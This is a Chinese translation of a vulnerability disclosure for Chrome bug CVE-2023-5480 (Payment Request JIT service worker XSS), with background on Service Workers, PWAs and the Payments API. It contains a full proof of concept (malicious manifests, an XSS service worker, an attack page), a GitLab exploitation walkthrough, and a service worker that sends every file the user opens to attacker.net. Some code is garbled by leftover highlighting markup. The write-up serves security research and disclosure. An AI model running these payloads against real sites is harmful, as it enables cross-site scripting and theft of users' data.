前言
本文专门讨论去年年底在 Google Chrome 浏览器中发现的一个漏洞,并讲述了它的起源故事。该漏洞长期存在,并于 2023 年 10 月 31 日得到修复,谷歌对该漏洞的估价为16,000美元。
本文首先将描述 Web 开发中使用的一系列现代技术,这对于全面了解已识别漏洞的背景是必要的。如果你只对PoC感兴趣,建议直接查看“漏洞”部分。
Service Worker
该工具是浏览器和网络之间的一种代理,可以完全控制互联网上所有从网站发出的请求(以及向网站发出的请求),同时还可以管理缓存。
工作流程如下:
1、在我们网站的页面上,注册 Service Worker:
script.js:
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/service-worker.js')
.then(function(registration) {
console.log('Service Worker registration successful with scope: ', registration.scope);
})
.catch(function(error) {
console.log('Service Worker registration failed: ', error);
});
}
2、简单的 Service Worker 示例:
self.addEventListener('fetch', function(event) {
event.respondWith(function_that_returnedResponse());
对于我们网站的每个请求,无论是图像请求还是来自 JavaScript 的获取请求,都将通过 Service Worker 进行路由,请求的结果将使用预先注册的处理程序返回。
这确实是 Web 开发中的一个强大工具(如果有兴趣,你可以访问 chrome://inspect/#service-workers
看到当前在浏览器中使用了许多 Service Worker)。
然而,这项技术也带来了一系列挑战, Web 应用程序(甚至浏览器)中的许多架构决策有时是在没有考虑此技术的情况下做出的,从而导致了漏洞的出现。
PWA
Progressive Web Application(PWA-渐进式 Web 应用程序) 是一种可以在用户设备上模拟安装网站的技术,它的诞生旨在简化开发人员的任务,在可能的情况下提供绕过开发本地应用程序的能力。
PWA 与 Service Worker 密切相关,提供了实现所谓“离线模式”功能的可能性,这使得用户即使在未连接到互联网的情况下也可以维护网站的功能。
为了注册 PWA,开发了 Web App Manifest 标准,简而言之,它是一个特定的JSON文件,其基本结构如下:
{
"short_name": "My App",
"name": "My App",
"icons": [{
"src": "https://www.myapp.example/icon.svg"
}],
"start_url": ".",
"display": "standalone",
"background_color": "#fff",
"description": "Slonser example",
}
该文件包含应用程序的基本数据,首次访问 PWA 时,页面会使用与上一节中所示类似的脚本来加载 Service Worker。
Payments
如果你阅读说明,你会看到:
This specification describes an API that allows user agents (e.g., browsers) to act as an intermediary between three parties in a transaction:
The payee: the merchant that runs an online store, or other party that requests to be paid.
The payer: the party that makes a purchase at that online store, and who authenticates and authorizes payment as required.
The payment method: the means that the payer uses to pay the payee (e.g., a card payment or credit transfer). The payment method provider establishes the ecosystem to support that payment method.
看了上面的信息,你可能还不太明白,看下面的GIF动图你会更加容易理解:
这也适用于基于 Chromium 的桌面版本浏览器:
以上发生了什么?
- 用户访问向他们提供帐单的网站
- 该网站使用 Payment 请求 API 联系外部资源
- 用户会看到一个包含外部资源的弹出窗口
- 该资源处理用户的 Payment 并将有关交易的信息返回到原始资源
在代码中,它看起来像如下:
function buildSupportedPaymentMethodData() {
// Example supported payment methods:
return [{ supportedMethods: "https://example.com/pay" }];
}
function buildShoppingCartDetails() {
// Hardcoded for demo purposes:
return {
id: "order-123",
displayItems: [
{
label: "Example item",
amount: { currency: "USD", value: "1.00" },
},
],
total: {
label: "Total",
amount: { currency: "USD", value: "1.00" },
},
};
}
new PaymentRequest(buildSupportedPaymentMethodData(), {
total: { label: "Stub", amount: { currency: "USD", value: "0.01" } },
})
.canMakePayment()
.then((result) => {
if (result) {
// Real payment request
const request = new PaymentRequest(
buildSupportedPaymentMethodData(),
checkoutObject,
);
request.show().then((paymentResponse) => {
// Here we would process the payment.
paymentResponse.complete("success").then(() => {
// Finish handling payment
});
});
}
});
因此,从客户端角度来看:
- 创建一个 PaymentRequest 对象
- 将 Payment 处理程序的 URL 和购买详细信息传递给它
- 调用 show 方法并处理带有结果/错误的 Promise
现在, Payment 处理程序会做什么?
1、沿着提供的链接,应该返回链接标头
Link: <https://bobbucks.dev/pay/payment-manifest.json>; rel="payment-method-manifest"
根据 RFC5988,rel=“payment-method-manifest”不存在,它只会在支付 API 请求中进行处理,而且其解析与主实现是隔离的。
2、客户端将跟踪之前提供的链接,并将其内容解释为 Payment 清单:
{
"default_applications": ["https://alicepay.com/pay/app/webappmanifest.json"],
"supported_origins": [
"https://bobpay.xyz",
"https://alicepay.friendsofalice.example"
]
}
这里,default_applications 指向将要安装的 Web App Manifest,supported_origins 相应地指示支持的域。
JIT
支付应用程序应使用最初为简单的 PWA 创建的 Web App Manifest。然而,网络标准开发人员面临着在网站和支付应用程序之间建立通信的挑战,为此,他们做出了一个有争议的决定,即利用 Service Worker。
为此,我们在现有的工作者概念中添加了新的事件处理程序:
self.addEventListener('paymentrequest', async e => {
//...
});
然而,这里出现了一个问题:在初始调用期间,支付应用程序不包含 Service Worker(因为它仅在第一页加载后注册),这会破坏逻辑。
这个问题是通过另一个有争议的决定得到解决的——引入准时制(JIT)安装的Worker。为此,扩展了 Web App Manifest 规范。
现在,如果它用于支付应用程序,则必须包含“serviceworker”字段以及指定的工作人员进行注册:
"serviceworker": {
"src": "/download/sw-slonser.js",
"use_cache": false,
"scope":"/download/"
}
因此,在启动Payment App之前,它会在指定路径下载并安装Service Worker。
该漏洞何时出现?
Payment Request于2018年4月在Chromium中实现,最初无法利用稍后将描述的漏洞。
阅读 Chromium 的源代码,可以发现清单请求当时是这样实现的:
headers->GetNormalizedHeader("link", &link_header);
if (link_header.empty()) {
// Fallback to HTTP GET when HTTP HEAD response does not contain a Link
// header.
FallbackToDownloadingResponseBody(final_url, std::move(download));
return;
}
因此,请求的逻辑遵循以下算法:
- 首先,它使用
rel=“pay-method-manifest”
检查链接标头 - 如果存在,将加载此内容,替换指定的 URL
- 否则,只使用指定 URL 的内容
事实上,在 2019 年 12 月 18 日, Payment 请求实施的一个问题已提交给 Chromium:
the spec (https://w3c.github.io/payment-method-manifest/#accessing) requires that besides looking for the “Link”, the direct access over URL is also allowed – “The machine-readable payment method manifest might be found either directly at the payment method identifier URL….”.
换句话说,该人士指出,根据标准,我们可以同时通过链接和链接标头传输Payment清单。Chromium 安全团队参与了此请求,批准了这些更改,一年后,即 2020 年 3 月,该修复程序在 Chrome/Chromium 的稳定分支中可用。
漏洞
由于上面所述的更改,使漏洞成为可能。
许多网站都实现了下载用户文件的功能,即具有以下功能:
https://example.com/download?file=filename
https://example.com/download/filename
...
此类功能不应造成直接的安全风险,因为 Header 已设置:
Content-Disposition: attachment
这样,传输的文件将被直接加载,防止了 XSS 类攻击的可能性,这是因为不可能将HTML代码文件交付给用户进行渲染。
考虑到 Payments API 已开始从请求正文中考虑文件,我们只需将文件上传到目标资源:payment-manifest:
{
"default_applications": ["https://example.com/download/manifest.js"],
"supported_origins": ["https://attacker.net"]
}
manifest.js:
{
"name": "PWNED",
"short_name": "PWNED",
"icons": [{
"src": "/download/logo.jpg",
"sizes": "49x49",
"type": "image/jpeg"
}],
"serviceworker": {
"src": "/download/sw-slonser.js",
"use_cache": false,
"scope":"/download/"
},
"start_url":"/download/index.html"
}
logo.jpg:
* JPEG *
乍一看,它似乎不太有用,因为我们为什么要处理来自付款的响应。但在这里,我们不妨回顾一下我们的网站与Payment App之间的通信是如何通过Service Worker实现的。
我们可以在 Payments 中指定一个 Service Worker,正如之前提到的,它只是一个普通的 Service Worker,并为其提供了额外的事件,因此,没有什么可以阻止我们使用 Service Worker 的标准功能。
sw.slonser.js:
self.addEventListener("fetch", (event) => {
console.log(</span><span style="color: #A3BE8C">Handling fetch event for </span><span style="color: #81A1C1">${</span><span style="color: #D8DEE9">event</span><span style="color: #ECEFF4">.</span><span style="color: #D8DEE9">request</span><span style="color: #ECEFF4">.</span><span style="color: #D8DEE9">url</span><span style="color: #81A1C1">}</span><span style="color: #ECEFF4">
);
let blob = new Blob(["<script>alert('pwned by Slonser')</script>"],{type:"text/html"});
event.respondWith(new Response(blob));
});
该脚本拦截所有网络请求并以 HTML 响应:
<script>alert('pwned by Slonser')</script>
之后,攻击者只需将受害者重定向到他们的域,其中托管以下代码:
attack.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Vsevolod Kokorin (Slonser) of Solidlab</title>
</head>
<body>
<button onclick="exploit()">EXPLOIT</button>
<script>
function exploit(){
const BASE = "https://example.com/download" // PATH TO DOWNLOAD SCOPE
const fileName = 'payment-manifest.js' // Name of payment manifest
const request = new PaymentRequest(
[{ supportedMethods: </span><span style="color: #81A1C1">${</span><span style="color: #D8DEE9">BASE</span><span style="color: #81A1C1">}</span><span style="color: #A3BE8C">/</span><span style="color: #81A1C1">${</span><span style="color: #D8DEE9">fileName</span><span style="color: #81A1C1">}</span><span style="color: #ECEFF4">
}],
{
id: "order-123",
total: {
label: "Total",
amount: { currency: "USD", value: "1.00" },
}
}
);
request.show().then((paymentResponse) => {
paymentResponse.complete("success").then(() => {
});
}).catch((e) => {
document.location = </span><span style="color: #81A1C1">${</span><span style="color: #D8DEE9">BASE</span><span style="color: #81A1C1">}</span><span style="color: #A3BE8C">/C4T BuT S4D</span><span style="color: #ECEFF4">
;
});
}
</script>
</body>
</html>
该脚本执行完成后,受害者将被重定向到目标域,其中注册的 Service Worker 将拦截请求(因为 JIT 安装后,它们不会被卸载)。
因此,就可以在指定域上获得 XSS。
下面是提交给 Google 的视频(通过 Yandex S3 上的页面在 ngrok 子域上实现 XSS 攻击):
真实攻击示例
Gitlab
作为一个真实攻击示例,研究人员使用一年前在 Gitlab 上的这个漏洞来演示 XSS 的利用:
1、使用 CI/CD 运行程序创建 GitLab 存储库(或使用现有的)。
2、将 CI 配置添加到其中,这将创建一个包含必要文件的工件
3、在其中,从控制的资源中下载存档并解压数据,验证数据确实可以在 artifact 页面上访问。
4、现在可以使用以下链接直接下载数据文件:
https://5604-185-219-81-55.ngrok-free.app/root/test/-/jobs/13/artifacts/raw/payment-manifest.js
其中 test 是存储库标识符, 13 是 artifact 编号。
5、将此链接插入到上一节中提供的利用页面中,并将其放置在我们控制下的资源上。
6、 我们使用 GitLab 在域上成功执行 JavaScript 代码。
当然,该漏洞目前已被修复。但是任何实现文件上传/下载功能而不重写文件的常规 Mime-Type 的资源都容易受到攻击。
S3 buckets
另一个很好的例子是 S3 buckets,Amazon S3(简单存储服务)是亚马逊网络服务(AWS)提供的云存储服务, S3 buckets 是用于在 Amazon S3 中存储文件或数据对象的容器。
默认情况下,S3 buckets在下载期间根据文件扩展名公开 Mime 类型,一般来说,在具有 S3 存储桶的域上注册 Service Worker:
async function handleRequest(event) {
const attacker_url = "https://attacker.net?e=";
let response = await fetch(event.request.url)
let response_copy = response.clone();
let sniffed_data = {url: event.request.url, data: await response.text()}
fetch(
attacker_url,
{
body: JSON.stringify(sniffed_data),
mode: 'no-cors',
method: 'POST'
}
)
return new Response(await response_copy.blob(),{status:200})
}
self.addEventListener("fetch",async (event) => {
event.respondWith(handleRequest(event));
});
该 Service Worker 会将用户打开的所有文件复制到攻击者的服务器。
漏洞时间线
- 2023年10月13日,研究人员发现了该漏洞
- 2023年10月14日,研究人员发送了一条信息,描述了 Chrome 浏览器 VRP 中的这一漏洞
- 2023年10月17日,Google员工开始调查相关问题
- 2023年10月18日,该问题得到彻底解决,该漏洞的危险级别为高
- 2023年10月19日,Google发布补丁
- 2023年10 月 26 日,Google 将这一发现估价为 16,000 美元(15,000 美元用于漏洞本身,1,000 美元用于识别出现漏洞的版本)
- 2023年10月31日,Chrome 119发布,修复了该漏洞,并分配 CVE-2023-5480 编号
结论
- 即使在网络标准层面,也可能存在错误
- 现代浏览器实现了许多实验性/不流行的 Web API
- 代码开源并没有帮助,这个缺陷存在了 3 年,但他们无法修复,同时,它的使用也非常简单(与 Chromium 中的那些二进制漏洞不同)
- 如果开发人员没有向现成的概念添加新功能,该漏洞就不会出现
以上内容由骨哥翻译并整理。